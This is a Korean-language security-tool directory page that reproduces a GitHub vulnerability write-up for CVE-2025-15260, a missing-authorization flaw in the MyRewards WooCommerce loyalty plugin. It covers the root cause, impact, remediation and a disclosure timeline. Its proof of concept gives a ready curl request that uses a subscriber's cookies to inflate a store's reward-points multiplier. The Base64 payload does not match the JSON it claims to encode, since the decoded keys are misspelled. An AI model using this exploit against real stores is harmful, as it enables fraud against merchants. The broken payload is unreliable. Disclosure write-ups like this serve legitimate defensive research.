Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-15260 — MyRewards – Loyalty Points and Rewards for WooCommerce 플러그인의 누락된 권한 부여 / 깨진 접근 제어 | Kitploit
도구/GitHubGitHub/d3kc4rt1/cve-2025-15260
Privilege EscalationVulnerability AnalysisWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubd3kc4rt1/cve-2025-15260

CVE-2025-15260

MyRewards – Loyalty Points and Rewards for WooCommerce 플러그인의 누락된 권한 부여 / 깨진 접근 제어

저장소 보기
15개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-15260: 누락된 권한 검증 / 취약한 접근 제어 - MyRewards – Loyalty Points and Rewards for WooCommerce 플러그인

고지 사항: 이 저장소는 교육 목적 및 윤리적 공개(ethical disclosure)를 위해서만 생성되었습니다. 해당 취약점은 공급업체에 책임 있게 보고되었으며 패치가 적용되었습니다. 적절한 권한 없이 이 정보를 사용하여 시스템을 악용하지 마십시오.

요약

WooCommerce용 MyRewards (WooRewards) 플러그인(버전 <= 5.6.0)에서 치명적인 취약한 접근 제어 / 권한 상승(Broken Access Control / Privilege Escalation) 취약점이 발견되었습니다. 이 결함으로 인해 구독자(Subscriber) 같은 최소 권한만 가진 로그인 사용자도 인증을 우회하고 민감한 쇼핑몰 보상 규칙을 수정할 수 있습니다.

이 취약점을 악용하면 공격자는 로열티 포인트 배율을 천문학적인 값(예: 999,999,999,999,999)으로 부풀려 단 한 번의 소액 구매로도 엄청난 포인트를 적립하고, 이를 쿠폰 또는 무료 제품으로 교환하여 스토어에 직접적인 금전적 손실을 입힐 수 있습니다.

취약점 개요

  • CVE ID: CVE-2025-15260
  • 제품: LongwayStudio의 MyRewards (WooCommerce 플러그인)
  • 영향을 받는 버전: <= 5.6.0
  • 취약점 유형: 취약한 접근 제어 / 권한 상승 (CWE-284)
  • 필요한 권한: 인증된 사용자 (구독자 이상)

기술적 분석 및 근본 원인

이 취약점의 근본 원인은 데이터베이스 수정을 처리하는 중요한 AJAX 엔드포인트에 기능 권한 검사(Capability Check) 또는 CSRF 보호가 구현되지 않은 데 있습니다.

1. 승인되지 않은 AJAX 등록: 이 플러그인은 CRUD 작업을 관리하기 위해 범용 컨트롤러 클래스(EditlistControler)를 사용합니다. editlistcontroler.php에서 gwp_ajax_ 훅을 사용하여 AJAX 액션 editlist를 등록하므로, 역할에 관계없이 모든 로그인 사용자가 사용할 수 있습니다:

root@kitploit:~
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));

2. 권한 검사 및 Nonce 검증 부재: ajax() 및 accept() 메서드 내부의 코드는 사용자 입력만을 기반으로 상태 변경 요청(예: 업데이트를 위한 put, 삭제를 위한 del)을 처리합니다. current_user_can() 및 check_ajax_referer() 호출이 완전히 누락되어 있어 사용자에게 manage_woocommerce 권한이 있는지 확인하지 않습니다.

3. 위험한 페이로드 처리: 엔드포인트는 line 매개변수를 통해 Base64로 인코딩된 JSON 문자열을 수락하며, 이는 디코딩되어 EventList::write() 메서드로 직접 전달되어 악의적인 설정을 데이터베이스에 바로 저장합니다:

root@kitploit:~
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);

비즈니스 영향

  • 금전적 손실: "주문 금액(Order Amount)" 포인트 배율을 조작하여 무한한 보상 포인트를 생성하고 이를 고가의 할인 쿠폰이나 무료 아이템으로 교환하여 전자상거래 결제 게이트웨이를 우회할 수 있습니다.
  • 권한 상승: 일반 고객(구독자)이 플러그인 관리 작업을 수행할 수 있습니다.
  • 데이터 무결성 손상: 공격자는 기존의 정당한 보상 규칙을 훼손, 변경 또는 삭제하여 스토어의 마케팅 로직을 방해할 수 있습니다.

개념 증명 (PoC)

다음 단계는 인증된 구독자가 이 결함을 악용하는 방법을 보여줍니다.

1. 사전 요구 사항

  • MyRewards v5.6.0이 설치된 WooCommerce 대상.
  • subscriber 수준 계정의 유효한 자격 증명.
  • 사전 구성된 보상 시스템(예: "금액 지출" 적립 규칙). 참고: 이 규칙의 ID(예: 101)는 순차적이며 AJAX POST 응답을 관찰하여 쉽게 열거할 수 있습니다.

2. 페이로드

규칙 ID 101의 포인트 배율을 999,999,999,999,999로 업데이트하려고 합니다.

초기 JSON

root@kitploit:~
{
  "post_id":"101",
  "wre_type":"lws_woorewards_events_orderamount",
  "lws_woorewards_events_orderamount_multiplier": "999999999999999"
}

Base64 인코딩된 값 ('line'의 값)

root@kitploit:~
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0

3. 공격 실행

낮은 권한의 사용자로 다음 CURL 요청을 실행합니다:

root@kitploit:~
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
    -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
    -b '[Subscriber_Cookies_Here]' \
    -d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'

4. 검증

  • 공격자 관점: 서버는 업데이트를 확인하는 {"status":1}을 반환합니다.
  • 관리자 관점: 관리자가 로열티 설정을 방문하면 주문에 대한 포인트 배율이 공격자가 주입한 천문학적인 값으로 변경된 것을 볼 수 있습니다.

해결 방법

이 문제를 해결하려면 MyRewards 플러그인을 최신 패치 버전으로 업데이트하세요. 공급업체는 다음 방법으로 문제를 해결했습니다:

  1. AJAX 컨트롤러에 current_user_can() 검사를 구현하여 관리 권한을 확인합니다.
  2. Nonce 검증을 위해 check_ajax_referer()를 추가하여 교차 사이트 요청 위조(CSRF)를 방지합니다.

타임라인

윤리적 기준을 준수했음을 보여주는 공개 프로세스의 간단한 기록입니다:

  • 날짜 (2025-12-29): Wordfence / 개발자에게 보고.
  • 날짜 (2026-02-09): 취약점 패치 / 공개 공개.

참고 자료 및 크레딧

  • Wordfence 취약점 데이터베이스
  • NVD의 CVE-2025-15260
  • WordPress.org의 MyRewards 플러그인
도구 다운로드